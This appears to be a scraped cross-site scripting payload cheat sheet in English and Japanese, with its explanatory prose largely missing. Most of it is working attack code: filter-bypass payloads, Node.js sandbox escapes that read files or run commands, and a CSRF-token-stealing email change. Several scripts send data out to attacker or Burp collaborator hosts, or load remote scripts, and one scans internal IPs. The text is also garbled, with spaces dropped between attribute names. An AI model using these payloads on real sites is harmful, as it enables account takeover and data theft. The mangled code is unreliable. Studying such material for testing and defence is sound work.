//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
HTMLタグ属性の値内部のHTMLエンコードされた文字はランタイムでデコードされます。したがって、次のようなものが有効になります（ペイロードは太字で示されています）：<a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
どんな種類のHTMLエンコードでも有効であることに注意してください。
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
From here: hidden属性内でXSSペイロードを実行することができます。被害者にキーの組み合わせを説得させることができれば、可能です。Firefox Windows/Linuxでは、キーの組み合わせはALT+SHIFT+Xで、OS XではCTRL+ALT+Xです。異なるアクセスキー属性内の異なるキーを使用して、異なるキーの組み合わせを指定できます。以下はベクトルです：
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScriptの空白文字
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i);}catch(e){}}console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
コメント内のJavascript
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
括弧なしのJavaScript
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337// Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337");// Error handler + Comma separator// The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337// optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie'])with(document)alert(cookie)(alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
webbundle: Web Bundlesは、複数のデータ（HTML、CSS、JSなど）を**.wbn**ファイルにまとめる機能です。
<scripttype="webbundle">{"source": "https://example.com/dir/subresources.wbn","resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
<scripttype="importmap">{"imports": {"moment": "/node_modules/moment/src/moment.js","lodash": "/node_modules/lodash-es/lodash.js"}}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
内部IPを見つける
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
